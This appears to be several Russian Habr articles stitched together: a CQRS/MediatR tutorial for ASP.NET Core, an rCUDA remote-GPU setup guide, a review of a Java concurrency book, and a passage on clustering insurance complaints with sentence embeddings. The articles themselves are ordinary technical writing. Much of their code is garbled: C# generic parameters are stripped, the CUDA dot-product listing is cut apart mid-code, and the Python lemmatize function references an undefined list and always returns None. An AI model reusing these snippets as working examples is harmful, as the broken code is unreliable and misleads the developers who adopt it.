И мы подошли к моменту, когда перед нами встала важная задача устранить этот недостаток — инкапсулировать доменную логику в одном месте, уменьшить связанность и улучшить связность. Мы начали искать новые паттерны проектирования и остановились на CQRS.
CQRS
----
### Определение и задачи
**CQRS (Command Query Responsibility Segregation)**— это шаблон проектирования, который разделяет операции на две категории:
* **команды**— изменяют состояние системы;
* **запросы**— не изменяют состояние, только получают данные.
Подобное разделение может быть логическим и основываться на разных уровнях. Кроме того, оно может быть физическим и включать разные звенья (tiers), или уровни.
Обратите внимание, что это не паттерн кодирования, это паттерн проектирования. В разных компаниях этот паттерн используют по-разному, мы используем его в нашей команде «Выберу.ру», чтобы решить нескольких задач:
* повысить скорость разработки нового функционала без ущерба для существующего;
* снизить время подключения нового работника к проекту;
* уменьшить количество багов;
* упростить написание тестов;
* повысить качество планирования разработки.
Благодаря CQRS мы получаем архитектуру, в которой все аккуратно разложено и понятно (меньше связанность, больше связности), человек может открыть код команды или запроса, увидеть все его зависимости, понять, что он делает, и продолжать работать над ним в рамках только этой команды/запроса, без копания в других частях программы.
Практика
--------
Хочу поделиться, как мы используем шаблон CQRS на практике, и наглядно показать его плюсы.
Мы используем ASP.NET Core 5.0, поэтому примеры реализации паттерна будут в контексте этого фреймворка.
Помимо встроенных механизмов ASP.NET Core 5.0, нам понадобятся еще две библиотеки:
* [**MediatR**](https://github.com/jbogard/MediatR)— небольшая библиотека, помогающая реализовать паттерн Mediator, который нам позволит производить обмен сообщениями между контроллером и запросами/командами без зависимостей.
* [**FluentValidation**](https://fluentvalidation.net)— небольшая библиотека валидации для .NET, которая использует Fluent-интерфейс и лямбда-выражения для построения правил валидации.
#### Реализация REST API с помощью CQRS
Наши команды и запросы очень хорошо ложатся на REST API:
* *get* — это всегда запросы;
* *post, put, delete* — команды.
#### Добавление и настройка MediatR:
Чтобы добавить библиотеку в наш проект, выполним в консоли команду:
> *dotnet add package MediatR.Extensions.Microsoft.DependencyInjection*
>
>
Далее зарегистрируем все компоненты нашей библиотеки в методе ConfigureServices класса Startup:
```
namespace CQRS.Sample
{
public class Startup
{
...
public void ConfigureServices(IServiceCollection services)
{
...
services.AddMediatR(Assembly.GetExecutingAssembly());
services.AddControllers();
...
}
}
}
```
После мы напишем первую команду, пусть это будет команда добавления нового продукта в нашу базу данных. Сначала реализуем интерфейс команды, отнаследовавшись от встроенного в MediatR интерфейса IRequest, в нем мы опишем параметры команды и что она будет возвращать.
```
namespace CQRS.Sample.Features
{
public class AddProductCommand : IRequest
{
///
/// Алиас продукта
///
public string Alias { get; set; }
///
/// Название продукта
///
public string Name { get; set; }
///
/// Тип продукта
///
public ProductType Type { get; set; }
}
}
```
Далее нам нужно реализовать обработчик нашей команды с помощью IRequestHandler.
В конструкторе обработчика мы объявляем все зависимости, которые нужны нашей команде, и пишем бизнес-логику, в этом случае — сохранение сущности в БД.
```
namespace CQRS.Sample.Features
{
public class AddProductCommand : IRequest
{
///
/// Алиас продукта
///
public string Alias { get; set; }
///
/// Название продукта
///
public string Name { get; set; }
///
/// Тип продукта
///
public ProductType Type { get; set; }
public class AddProductCommandHandler : IRequestHandler
{
private readonly IProductsRepository \_productsRepository;
public AddProductCommandHandler(IProductsRepository productsRepository)
{
\_productsRepository = productsRepository ?? throw new ArgumentNullException(nameof(productsRepository));
}
public async Task Handle(AddProductCommand command, CancellationToken cancellationToken)
{
Product product = new Product();
product.Alias = command.Alias;
product.Name = command.Name;
product.Type = command.Type;
await \_productsRepository.Add(product);
return product;
}
}
}
}
```
Чтобы вызвать исполнение нашей команды, мы реализуем Action в нужном контроллере, пробросив интерфейс IMediator как зависимость. В качестве параметров экшена мы передаем нашу команду, чтобы механизм привязки ASP.Net Core смог привязать тело запроса к нашей команде. Теперь достаточно отправить команду через MediatR и вызвать обработчик нашей команды.
```
namespace CQRS.Sample.Controllers
{
[Route("api/v{version:apiVersion}/[controller]")]
[ApiController]
public class ProductsController : ControllerBase
{
private readonly ILogger \_logger;
private readonly IMediator \_mediator;
public ProductsController(IMediator mediator)
{
\_mediator = mediator ?? throw new ArgumentNullException(nameof(mediator));
}
...
///
/// Создание продукта
///
///
///
///
///
[HttpPost]
[ProducesResponseType(typeof(Product), StatusCodes.Status201Created)]
[ProducesDefaultResponseType]
public async Task Post([FromBody] AddProductCommand client, ApiVersion apiVersion,
CancellationToken token)
{
Product entity = await \_mediator.Send(client, token);
return CreatedAtAction(nameof(Get), new {id = entity.Id, version = apiVersion.ToString()}, entity);
}
}
}
```
Благодаря возможностям MediatR мы можем делать самые разные декораторы команд/запросов, которые будут выполняться по принципу конвейера, по сути, тот же принцип реализуют Middlewares в ASP.Net Core при обработке запроса. Например, мы можем сделать более сложную валидацию для команд или добавить логирование выполнения команд.
Нам удалось упростить написание валидации команд с помощью FluentValidation.
Добавим FluentValidation в наш проект:
> *dotnet add package FluentValidation.AspNetCore*
>
>
Создадим Pipeline для валидации:
```
namespace CQRS.Sample.Behaviours
{
public class ValidationBehaviour : IPipelineBehavior
where TRequest : IRequest
{
private readonly ILogger> \_logger;
private readonly IEnumerable> \_validators;
public ValidationBehaviour(IEnumerable> validators,
ILogger> logger)
{
\_validators = validators;
\_logger = logger;
}
public async Task Handle(TRequest request, CancellationToken cancellationToken,
RequestHandlerDelegate next)
{
if (\_validators.Any())
{
string typeName = request.GetGenericTypeName();
\_logger.LogInformation("----- Validating command {CommandType}", typeName);
ValidationContext context = new ValidationContext(request);
ValidationResult[] validationResults =
await Task.WhenAll(\_validators.Select(v => v.ValidateAsync(context, cancellationToken)));
List failures = validationResults.SelectMany(result => result.Errors)
.Where(error => error != null).ToList();
if (failures.Any())
{
\_logger.LogWarning(
"Validation errors - {CommandType} - Command: {@Command} - Errors: {@ValidationErrors}",
typeName, request, failures);
throw new CQRSSampleDomainException(
$"Command Validation Errors for type {typeof(TRequest).Name}",
new ValidationException("Validation exception", failures));
}
}
return await next();
}
}
}
```
И зарегистрируем его с помощью DI, добавим инициализацию всех валидаторов для FluentValidation.
```
namespace CQRS.Sample
{
public class Startup
{
...
public void ConfigureServices(IServiceCollection services)
{
...
services.AddTransient(typeof(IPipelineBehavior<,>), typeof(ValidationBehaviour<,>));
services.AddValidatorsFromAssembly(Assembly.GetExecutingAssembly());
...
}
}
}
```
Теперь напишем наш валидатор.
```
public class AddProductCommandValidator : AbstractValidator
{
public AddProductCommandValidator()
{
RuleFor(c => c.Name).NotEmpty();
RuleFor(c => c.Alias).NotEmpty();
}
}
```
Благодаря возможностям C#, FluentValidation и MediatR нам удалось инкапсулировать логику нашей команды/запроса в рамках одного класса.
```
namespace CQRS.Sample.Features
{
public class AddProductCommand : IRequest
{
///
/// Алиас продукта
///
public string Alias { get; set; }
///
/// Название продукта
///
public string Name { get; set; }
///
/// Тип продукта
///
public ProductType Type { get; set; }
public class AddProductCommandHandler : IRequestHandler
{
private readonly IProductsRepository \_productsRepository;
public AddProductCommandHandler(IProductsRepository productsRepository)
{
\_productsRepository = productsRepository ?? throw new ArgumentNullException(nameof(productsRepository));
}
public async Task Handle(AddProductCommand command, CancellationToken cancellationToken)
{
Product product = new Product();
product.Alias = command.Alias;
product.Name = command.Name;
product.Type = command.Type;
await \_productsRepository.Add(product);
return product;
}
}
public class AddProductCommandValidator : AbstractValidator
{
public AddProductCommandValidator()
{
RuleFor(c => c.Name).NotEmpty();
RuleFor(c => c.Alias).NotEmpty();
}
}
}
}
```
Это сильно упростило работу с API и решило все основные задачи.
На выходе получился красивый инкапсулированный код, понятный всем сотрудникам. Так, мы можем быстро ввести человека в процесс разработки, сократить затраты и время на его реализацию.
Текущие результаты можно посмотреть [на GitHub](https://github.com/sla1k/CQRSSample/tree/master). | https://habr.com/ru/post/543828/ | null | ru | null |
# CUDA и удалённый GPU
CUDA всем хороша, пока под рукой есть видеокарта от Nvidia. Но что делать, когда на любимом ноутбуке нет Nvidia видеокарты? Или нужно вести разработку в виртуальной машине?
Я постараюсь рассмотреть в этой статье такое решение, как фреймворк rCUDA (Remote CUDA), который поможет, когда Nvidia видеокарта есть, но установлена не в той машине, на которой предполагается запуск CUDA приложений. Тем, кому это интересно, добро пожаловать под кат.
**TLDR**[rCUDA](http://www.rcuda.net/) (Remote CUDA) — фреймворк, реализующий CUDA API, позволяющий использовать удалённую видеокарту. Находится в работоспособной бета-версии, доступен только под Linux. Основная цель rCUDA — полная совместимость с CUDA API, вам не нужно никак модифицировать свой код, достаточно задать специальные переменные среды.
Что такое rCUDA
---------------
[rCUDA](http://www.rcuda.net/) (Remote CUDA) — фреймворк, реализующий CUDA API, позволяющий использовать для CUDA вычислений видеокарту, расположенную на удалённой машине, не внося никаких изменений в ваш код. Разработан в политехническом университете Валенсии ([rcuda-team](http://www.rcuda.net/index.php/rcuda-team.html)).
Ограничения
-----------
На данный момент поддерживаются только GNU/Linux системы, однако разработчики обещают поддержку Windows в будущем. Текущая версия rCUDA, 18.03beta, совместима с CUDA 5-8, то есть CUDA 9 не поддерживается. Разработчиками заявлена полная совместимость с CUDA API, за исключением графики.
Возможные сценарии использования
--------------------------------
1. Запуск CUDA приложений в виртуальной машине тогда, когда проброс видеокарты неудобен или невозможен, например, когда видеокарта занята хостом, или когда виртуальных машин больше одной.
2. Ноутбук без дискретной видеокарты.
3. Желание использовать несколько видеокарт (кластеризация). Теоретически, можно использовать все имеющиеся в команде видеокарты, в том числе совместо.
Краткая инструкция
------------------
#### Тестовая конфигурация
Тестирование проводилось на следующей конфигурации:
**Сервер:**
Ubuntu 16.04, GeForce GTX 660
**Клиент:**
Виртуальная машина с Ubuntu 16.04 на ноутбуке без дискретной видеокарты.
#### Получение rCUDA
Cамый сложный этап. К сожалению, на данный момент единственный способ получить свой экземпляр этого фреймворка — заполнить соответствующую [форму запроса](http://www.rcuda.net/index.php/software-request-form.html) на официальном сайте. Впрочем, разработчики обещают отвечать в течение 1-2 дней. В моём случае мне прислали дистрибутив в тот же день.
#### Установка CUDA
Для начала необходимо установить CUDA Toolkit на сервере и клиенте (даже если на клиенте нет nvidia видеокарты). Для этого можно скачать его с официального сайта или использовать репозиторий. Главное, использовать версию не выше 8. В данном примере используется установщик .run с [оффициального сайта](https://developer.nvidia.com/cuda-80-ga2-download-archive).
```
chmod +x cuda_8.0.61_375.26_linux.run
./cuda_8.0.61_375.26_linux.run
```
**Важно!** На клиенте следует отказаться от установки nvidia драйвера. По умолчанию CUDA Toolkit будет доступен по адресу /usr/local/cuda/. Установите CUDA Samples, они понадобятся.
#### Установка rCUDA
Распакуем полученный от разработчиков архив в нашу домашнюю директорию на сервере и на клиенте.
```
tar -xvf rCUDA*.tgz -C ~/
mv ~/rCUDA* ~/rCUDA
```
Проделать эти действия нужно как на сервере, так и на клиенте.
#### Запуск демона rCUDA на сервере
```
export PATH=$PATH/usr/local/cuda/bin
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/cuda/lib64:/home//rCUDA/lib/cudnn
cd ~/rCUDA/bin
./rCUDAd
```
Замените < XXX> на имя вашего пользователя. Используйте ./rCUDAd -iv, если хотите видеть подробный вывод.
#### Настройка клиента
Откроем на клиенте терминал, в котором в дальнейшем будем запускать CUDA код. На стороне клиента нам необходимо "подменить" стандартные библиотеки CUDA на библиотеки rCUDA, для чего добавим соответствующие пути в переменную среды LD\_LIBRARY\_PATH. Также нам необходимо указать количество серверов и их адреса (в моём примере он будет один).
```
export PATH=$PATH/usr/local/cuda/bin
export LD_LIBRARY_PATH=/home//rCUDA/lib/:$LD\_LIBRARY\_PATH
export RCUDA\_DEVICE\_COUNT=1 # укажем количество видеокарт (серверов), их может быть несколько
export RCUDA\_DEVICE\_0=:0 # укажем адрес первого сервера
```
#### Сборка и запуск
Попробуем собрать и запустить несколько примеров.
**Пример 1**
Начнём с простого, с deviceQuery — примера, который просто выведет нам параметры CUDA совместимого устройства, то есть в нашем случае удалённого GTX660.
```
cd /NVIDIA\_CUDA-8.0\_Samples/1\_Utilities/deviceQuery
make EXTRA\_NVCCFLAGS=--cudart=shared
```
**Важно!** Без EXTRA\_NVCCFLAGS=--cudart=shared чуда не получится
Замените на путь, который вы указали для CUDA Samples при установке CUDA.
Запустим собранный пример:
```
./deviceQuery
```
Если вы всё сделали правильно, результат будет примерно таким:
**Результат**
```
./deviceQuery Starting...
CUDA Device Query (Runtime API) version (CUDART static linking)
Detected 1 CUDA Capable device(s)
Device 0: "GeForce GTX 660"
CUDA Driver Version / Runtime Version 9.0 / 8.0
CUDA Capability Major/Minor version number: 3.0
Total amount of global memory: 1994 MBytes (2090991616 bytes)
( 5) Multiprocessors, (192) CUDA Cores/MP: 960 CUDA Cores
GPU Max Clock rate: 1072 MHz (1.07 GHz)
Memory Clock rate: 3004 Mhz
Memory Bus Width: 192-bit
L2 Cache Size: 393216 bytes
Maximum Texture Dimension Size (x,y,z) 1D=(65536), 2D=(65536, 65536), 3D=(4096, 4096, 4096)
Maximum Layered 1D Texture Size, (num) layers 1D=(16384), 2048 layers
Maximum Layered 2D Texture Size, (num) layers 2D=(16384, 16384), 2048 layers
Total amount of constant memory: 65536 bytes
Total amount of shared memory per block: 49152 bytes
Total number of registers available per block: 65536
Warp size: 32
Maximum number of threads per multiprocessor: 2048
Maximum number of threads per block: 1024
Max dimension size of a thread block (x,y,z): (1024, 1024, 64)
Max dimension size of a grid size (x,y,z): (2147483647, 65535, 65535)
Maximum memory pitch: 2147483647 bytes
Texture alignment: 512 bytes
Concurrent copy and kernel execution: Yes with 1 copy engine(s)
Run time limit on kernels: Yes
Integrated GPU sharing Host Memory: No
Support host page-locked memory mapping: Yes
Alignment requirement for Surfaces: Yes
Device has ECC support: Disabled
Device supports Unified Addressing (UVA): Yes
Device PCI Domain ID / Bus ID / location ID: 0 / 1 / 0
Compute Mode:
< Default (multiple host threads can use ::cudaSetDevice() with device simultaneously) >
deviceQuery, CUDA Driver = CUDART, CUDA Driver Version = 9.0, CUDA Runtime Version = 8.0, NumDevs = 1, Device0 = GeForce GTX 660
Result = PASS
```
Самое главное, что мы должны увидеть:
> Device0 = GeForce GTX 660
>
> Result = PASS
Отлично! Нам удалось собрать и запустить CUDA приложение на машине без дискретной видеокарты, использовав для этого видеокарту, установленную на удалённом сервере.
**Важно!** Если вывод приложения начинается со строк вида:
```
mlock error: Cannot allocate memory
rCUDA warning: 1007.461
mlock error: Cannot allocate memory
```
значит необходимо добавить на сервере и на клиенте в файл "/etc/security/limits.conf" следующие строки:
```
* hard memlock unlimited
* soft memlock unlimited
```
Таким образом, вы разрешите всем пользователям (\*) неограниченное (unlimited) блокирование памяти (memlock). Еще лучше будет заменить \* на нужного пользователя, а вместо unlimited подобрать менее жирные права.
**Пример 2**
Теперь попробуем что-то поинтереснее. Протестируем реализацию скалярного произведения векторов с использованием разделяемой памяти и синхронизации ("Технология CUDA в примерах" Сандерс Дж. Кэндрот Э. 5.3.1).
В данном примере мы рассчитаем скалярное произведение двух векторов размерностью 33 \* 1024, сравнивая ответ с результатом, полученным на CPU.
**dotProd.cu**
```
#include
#define imin(a,b) (a>>(dev\_a, dev\_b, dev\_partial\_c);
// copy the array 'c' back from the gpu to the cpu
cudaMemcpy(partial\_c,dev\_partial\_c, blocksPerGrid\*sizeof(float), cudaMemcpyDeviceToHost);
// finish up on the cpu side
c = 0;
for(int i=0; i
```
Сборка и запуск:
```
/usr/local/cuda/bin/nvcc --cudart=shared dotProd.cu -o dotProd
./dotProd
```
Такой результат говорит нам, что всё у нас хорошо:
> GPU — 2.57236e+13
>
> CPU — 2.57236e+13
**Пример 3**
Запустим еще один стандартный тест CUDA- matrixMulCUBLAS (перемножение матриц).
```
cd < YYY>/NVIDIA_CUDA-8.0_Samples/0_Simple/matrixMulCUBLAS
make EXTRA_NVCCFLAGS=--cudart=shared
./matrixMulCUBLAS
```
**Результат**[Matrix Multiply CUBLAS] — Starting…
GPU Device 0: "GeForce GTX 660" with compute capability 3.0
MatrixA(640,480), MatrixB(480,320), MatrixC(640,320)
Computing result using CUBLAS...done.
Performance= 436.24 GFlop/s, Time= 0.451 msec, Size= 196608000 Ops
Computing result using host CPU...done.
Comparing CUBLAS Matrix Multiply with CPU results: PASS
NOTE: The CUDA Samples are not meant for performance measurements. Results may vary when GPU Boost is enabled.
Интересное нам:
> Performance= 436.24 GFlop/s,
>
> Comparing CUBLAS Matrix Multiply with CPU results: PASS
#### Безопасность
Я не нашёл в документации к rCUDA упоминания о каком-либо способе авторизации. Думаю, на данный момент самое простое, что можно сделать, это открыть доступ к нужному порту (8308) только с определённого адреса.
При помощи iptables это будет выглядеть так:
```
iptables -A INPUT -m state --state NEW -p tcp -s <адрес клиента> --dport 8308 -j ACCEPT
```
В остальном оставляю вопрос безопасности за рамками данного поста.
**Источники и ссылки**[1] <http://www.rcuda.net/pub/rCUDA_guide.pdf>
[2] <http://www.rcuda.net/pub/rCUDA_QSG.pdf>
[3] C. Reaño, F. Silla, G. Shainer and S. Schultz, “Local and Remote GPUs Perform Similar with EDR 100G InfiniBand”, in proceedings of the International Middleware Conference, Vancouver, BC, Canada, December 2015.
[4] C. Reaño and F. Silla, “A Performance Comparison of CUDA Remote GPU Virtualization Frameworks”, in proceedings of the International Conference on Cluster Computing, Chicago, IL, USA, September 2015. | https://habr.com/ru/post/416127/ | null | ru | null |
# Актуальна ли книга «Java Concurrency in Practice» во времена Java 8 и 11?
Здравствуйте, коллеги!
Статья, перевод которой мы предлагаем сегодня, в очередной раз напоминает о важности нестареющей книги "[Java Concurrency in practice](https://www.amazon.com/Java-Concurrency-Practice-Brian-Goetz/dp/0321349601)" под авторством Брайана Гёца (Brian Goetz).
Даты комментариев к этой статье в оригинале подсказывают, что автор обновляет и заново публикует ее не в первый раз. Поэтому мы позволили себе также обновить ссылку на упоминаемую в статье книгу Рауля-Габриэля Урма, Марио Фуско и Алана Майкрофта, которая выходила в издательстве «Manning» под названием «Java 8 in Action». У нас готовится перевод нового издания под названием «Modern Java». Но пока давайте поговорим о классике. Вы приглашаетесь под кат.
Читатель под ником Shobhit задал мне этот вопрос в комментариях к статье о [12 продвинутых книг по Java для программистов среднего уровня – часть 1](http://www.java67.com/2016/06/12-must-read-advance-java-books-for-intermediate-programmers.html). Вопрос в самом деле хороший, и, думаю, у многих Java-программистов возникали подобные сомнения, когда в наше время кто-нибудь рекомендовал им прочесть «**Java Concurrency in Practice**». Когда эта книга только вышла, в 2006 году, весь мир Java еще никак не мог разобраться с нововведениями в области конкурентности, сделанными в Java 1.5. Думаю, тогда была предпринята первая серьезная попытка улучшить в Java встроенную поддержку многопоточности и конкурентности. Тогда многие программисты еще даже не подозревали о новых инструментах, появившихся в API, например о [CountDownLatch](http://www.java67.com/2015/06/java-countdownlatch-example.html), [CyclicBarrier](http://www.java67.com/2015/06/how-to-use-cyclicbarrier-in-java.html), `ConcurrentHashMap` и многих других. Книга служила им отлаженным введением в работу с этими инструментами, рассказывала, как с их помощью можно писать высокопроизводительные конкурентные приложения Java.
Именно таково общее представление об этой книге, и в таком ключе опишут ее вам многие разработчики, если вы спросите «А как вам «Java Concurrency in Practice»»? Однако, я воспринимаю эту книгу немного иначе, и именно поэтому **до сих пор рекомендую ее всем новичкам, знакомящимся с Java, либо разработчикам среднего уровня**, желающим освоить концепции, связанные с конкурентностью.
Важнейший материал, с которым вас познакомит эта книга – четкие концепции и основы конкурентного программирования, в частности, видимость, упорядочивание, [потокобезопасность](https://javarevisited.blogspot.com/2012/01/how-to-write-thread-safe-code-in-java.html), [неизменяемость](https://javarevisited.blogspot.com/2013/03/how-to-create-immutable-class-object-java-example-tutorial.html), параллелизм, т.д.
Также она объясняет, почему в большинстве случаев конкурентные приложения на Java пишутся неправильно, почему Java-программисты допускают распространенные ошибки, приводящие к проблемам с многопоточностью, среди которых: условия гонки, мертвая блокировка, активная блокировка, интерференция в памяти и просто некорректные вычисления.
В книге используются эмотиконы, сопровождающие описание «как делать неправильно», прежде, чем познакомить читателя с верным и качественным решением проблемы. Так книга не только помогает бороться с заблуждениями, которые сохраняются у многих Java-разработчиков, но и прививать в Java-сообществе верную информацию о том, как работать с многопоточностью и конкурентностью.
Вне всяких сомнений, многопоточность и конкурентность сложны. Их нелегко правильно реализовать в коде, не менее трудно понять и объяснить. Я знаю много программистов, попросту не способных наглядно изобразить, как разные потоки взаимодействуют с одним и тем же элементом кода, оперируя разными данными.
Как и классический пример с рекурсией, одним программистам многопоточность очень легко дается на практике, а другим многопоточность сложно осмыслить и применить в прикладном сценарии.
Наибольший вклад книги Java Concurrency in Practice в развитие мира Java заключается не в том, чтобы упростить конкурентность, а в том, чтобы дать о ней верную и точную информацию, которой не хватало. С тех пор я провел множество собеседований и знаю, что программисты всегда не вполне точно представляют себе устройство потоков и то, как они работают.
Многие программисты, даже успевшие поработать с Java 4-5 лет, не понимают, [как устроены изменчивые переменные](https://javarevisited.blogspot.com/2011/06/volatile-keyword-java-example-tutorial.html); все, что они знают – что при работе с изменчивой переменной нужно при каждом сравнении проверять, какое значение находится в основной памяти. Это правда, но только часть правды.
Им не рассказывали о модели памяти Java, о том, как изменчивая переменная может влиять на порядок следования кода и выполнение вычислительных инструкций в его основе. Речь о применении динамической компиляции ([JIT](http://www.java67.com/2013/02/difference-between-jit-and-jvm-in-java.html)) и виртуальной машины Java ([JVM](http://www.java67.com/2016/08/10-jvm-options-for-java-production-application.html)) для оптимизации; такая оптимизация может приводить к тонким логическим ошибкам.
Людям не рассказывают, как изменчивые переменные позволяют увидеть, что было сделано в одном потоке, прежде чем обращаться к переменной из другого потока и пр. Не все знают, что такое барьер памяти, и как он влияет на видимость.
Именно по книге Java Concurrency in Practice многие Java-программисты изучили все эти концепции. Должен признать, что и сам я, пока не прочитал ее, во многом заблуждался по поводу многих существенных вопросов многопоточности и конкурентности, в частности, порядка следования, видимости и неявных эффектов со стороны финальных переменных и безопасной публикации. Книга помогла мне во всем этом разобраться.
Кстати, если какие-то разделы книги покажутся вам немного непонятными – поверьте, не вам одному. Здесь следует поблагодарить доктора Хайнца Кабуца (Heinz Kabutz), изложившего материал книги в упрощенном виде в своем курсе [Java Concurrency in Practice Bundle](https://learning.javaspecialists.eu/courses/concurrency-in-practice-bundle?affcode=92815_johrd7r8).
Если даже этот материал покажется вам слишком сложным – у Хайнца есть и другой курс, [Mastering Threads](https://javaspecialists.teachable.com/p/mastering-threads-2019/?product_id=984568&coupon_code=LAUNCH_FEBRUARY&affcode=92815_johrd7r8), помогающий разобраться в многопоточности любому среднестатистическому Java-программисту.
Теперь давайте поговорим о Java 8, то есть, о том, что изменилось от Java 1.5 до Java 8. В JDK появилось множество новых инструментов для внедрения конкурентности и проектирования более качественных конкурентных приложений Java. В JDK 7 появился [пул fork-join](https://javarevisited.blogspot.com/2016/12/difference-between-executor-framework-and-ForkJoinPool-in-Java.html), в Java 8 – `CompleteableFutures`. Гораздо важнее, что, начиная с Java 8, стал закрепляться новый, более функциональный стиль программирования, обеспечиваемый при помощи [лямбда-выражений](https://javarevisited.blogspot.com/2014/02/10-example-of-lambda-expressions-in-java8.html).
Также у нас появились потоки (stream) и параллельные потоки (parallel streams), позволяющие разработчикам пользоваться преимуществами конкурентности, не программируя ее. Вся идея о том, чтобы забрать реализацию конкурентности у разработчиков приложений и перепоручить ее разработчикам API немного упрощает ситуацию с конкурентностью в Java и снижает риски при ее внедрении.
Также это означает, что в Java можно выполнять массовые операции во множестве потоков при помощи всего пары методов, и не писать при этом ни единой строки кода, связанной с потоками, ключевым словом synchronized или методами ожидания и уведомления (wait-notify).
Несомненно, любому Java-разработчику требуется изучить эти новые инструменты, чтобы не отставать развития технологии – в чем, конечно, очень поможет книга вроде «[Modern Java In Action](https://www.amazon.com/Modern-Java-Action-functional-programming/dp/1617293563)». Она не только познакомит вас со всеми нововведениями языка Java, но и поможет научиться использовать их при выполнении повседневных задач, понять мотивацию этих нововведений и получить общее представление о современном языке Java.
Хотя, книга Java Concurrency in Practice в ее текущем виде не освещает всех этих важных концепций и инструментов, она все равно остается бесценной для изучения ключевых возможностей языка Java, связанных с [потоками](https://javarevisited.blogspot.com/2011/02/how-to-implement-thread-in-java.html), [конкурентностью](https://javarevisited.blogspot.com/2015/05/top-10-java-multithreading-and.html) и [многопоточностью](https://javarevisited.blogspot.com/2014/07/top-50-java-multithreading-interview-questions-answers.html).
Книга Гёца по-прежнему обязательна к прочтению для любого Java-разработчика, желающего изучить и освоить многопоточность и конкурентность – самые сильные стороны Java при разработке приложений.
С учетом всего вышесказанного я, как и многие Java-разработчики по всему миру, хотел бы увидеть и обновленное издание Java Concurrency in Practice, где рассматривались бы инструменты и методологии, появившиеся в Java 6, 7, 8, 9, 10 и может быть даже в Java 11. Ведь появились обновленные версии [Effective Java](http://www.java67.com/2018/01/effective-java-3rd-edition-by-joshua-bloch-must-read-book-for-java-develoeprs.html) и [Head First design patterns](https://www.piter.com/product/head-first-patterny-proektirovaniya-obnovlennoe-yubileynoe-izdanie), рассматривающие Java 8 и демонстрирующие, насколько проще реализовывать различные паттерны при помощи новых возможностей Java 8. | https://habr.com/ru/post/451322/ | null | ru | null |
# Как ML помогает при аудите качества клиентского сервиса
*Можно ли за короткое время и без больших трудозатрат проанализировать обращения клиентов и выявить причины возникновения негативных отзывов? В этой статье хотим рассказать, как с помощью инструментов ML нам удалось решить эту задачу.*
В своей работе мы столкнулись с необходимостью оценить качество клиентского сервиса. Перед нами стояла задача проанализировать обращения клиентов и выявить причины возникновения негативных отзывов по постпродажному обслуживанию по продуктам страхования.
На обработку обращений тратится большое количество времени. Мы поставили себе задачу - уменьшить временные затраты на проверку с помощью инструментов машинного обучения.
Не секрет, что от качества входных данных зависит качество самой модели, поэтому независимо от выбора алгоритма первоочередной задачей является предобработка имеющейся информации. Поскольку задача относится к задачам, связанным с обработкой естественного языка, то и набор преобразований был выбран можно сказать классическим для данной области.
На первом этапе, с помощью регулярных выражений из обращений клиентов были удалены служебные поля, а также символы, не относящиеся к символам русского алфавита:
```
def cl_text(text):
c = text.lower()
c = re.sub(r'crm[^\n]+', '', c)
c = re.sub(r'документ:\s*\d{2}\s?\d{2}\s?\d{6}\s*', '', c)
c = re.sub(r'дул:\s*\d{2}\s?\d{2}\s?\d{6}\s*', '', c)
c = re.sub(r'дата рождения( застрахованного лица)?:\s*\d{2}\.?\d{2}\.?\d{4}\s*', '', c)
c = re.sub(r'дата начала действия:\s*\d{2}\.?\d{2}\.?\d{4}\s*', '', c)
c = re.sub(r'дата окончания действия:\s*\d{2}\.?\d{2}\.?\d{4}\s*', '', c)
c = re.sub(r'дата выдачи:\s*\d{2}\.?\d{2}\.?\d{4}\s*', '', c)
c = re.sub(r'дата выдачи:[\S\W]\w*', '', c)
c = re.sub(r'\n+', ' ', c)
c = re.sub(r'\s+', ' ', c)
c = re.sub(r"[A-Za-z!#$%&'()*+,./:;<=>?@[\]^_`{|}~—\"\-]+", ' ', c)
return c.strip()
```
Вторым этапом стало приведение слов в обращениях в нормальную форму, попутно удаляя слова, которые ничего не значат в контексте русского языка и нашего домена. Данные стоп-слова частично позаимствованы из библиотеки NLTK и перечислены в массиве stopwords:
```
import pymorphy2
import nltk
morph = pymorphy2.MorphAnalyzer()
stopwords = nltk.corpus.stopwords.words('russian')
stopwords.extend(['сообщение','документ','номер','запрос','страхование','страховой'])
def lemmatize(text):
text = re.sub(r"\d+", '', text.lower()) #удаление цифр из текста
for token in text.split():
token = token.strip()
token = morph.normal_forms(token)[0].replace('ё', 'е')
if token and token not in stopwords: tokens.append(token)
if len(tokens) > 2: ' '.join(tokens)
return None
```
После этих нехитрых действий обращения приняли следующий вид:
| | |
| --- | --- |
| До обработки | После обработки |
| 'CRM+XX.XX.XXXX XXXXXXXXXXXXX К\*\*\*ВА НАТАЛЬЯ ГЕОРГИЕВНА\nДата рождения застрахованного лица: XX.XX.XXXX\nу клиента на ХХ.ХХ.ХХХХ В ЛК она видит ДИД [СУММА] руб, клиента интересует почему ДИд не выплачивают, клиент просит пояснить когда ДИд ей будет выплачен, документы все направлены. просьба предоставить разъяснения\nТип задачи: Проведение экспертизы\nДУЛ: XX XX XXXXXX' | 'лк видеть дид интересовать дид выплачивать просить пояснить дид выплатить документ направить просьба предоставить разъяснение' |
Далее, для того, чтобы объединить похожие жалобы в группы необходимо было перейти от словесного представления жалоб к векторно-числовому. Очень часто для этой цели используют OneHotEncoding или TF-IDF. И хотя эти способы получения эмбеддингов распространены и показывают неплохие результаты в некоторых задачах, все же, у них есть серьезный недостаток – данные подходы основаны на частотных характеристиках корпуса и не учитывают семантику текста. Это означает, что, не смотря на одну и ту же смысловую нагрузку, векторы предложений «сожалеем за доставленные неудобства» и «просим прощение за возникшие трудности» не будут иметь ничего общего друг с другом, т.к. фразы состоят из разных слов.
Ввиду доступности и неплохой скорости работы нами было решено использовать модель Universal Sentence Embedder, обученной для многих языков, в числе которых и русский. Данная модель способна перевести предложения в векторное пространство с сохранением семантического расстояния между ними. Такой подход открывает перед нами возможность по оценке близости текстов по смыслу.
```
import tensorflow as tf
import tensorflow_hub as hub
import tensorflow_text
model = hub.load(r'/UniverseSentenseEmbeddings/USEv3')
embedding = model(‘предложение для перевода в вектор’)
```
Как видим, для использования данной модели достаточно написать буквально 5 строк кода. Взглянем на результат работы модели, сравнив косинусное расстояние между полученными векторами от тестовых фраз:
```
input1, input2 = ['большая собака'], ['крупный пёс', 'большая кошка', 'маленькая собака', 'маленькая кошка', 'старая картина']
emb1, emb2 = model(input1), model(input2)
results_cosine = pairwise.cosine_similarity(emb1, emb2).tolist()[0]
for i, res in enumerate(results_cosine):
print('"{}" <> "{}", cos_sim={:.3f}'.format(input1[0],input2[i],results_cosine[i]))
```
Результат получается достаточно интересным:
```
"большая собака" <> "крупный пёс", cos_sim = 0.860
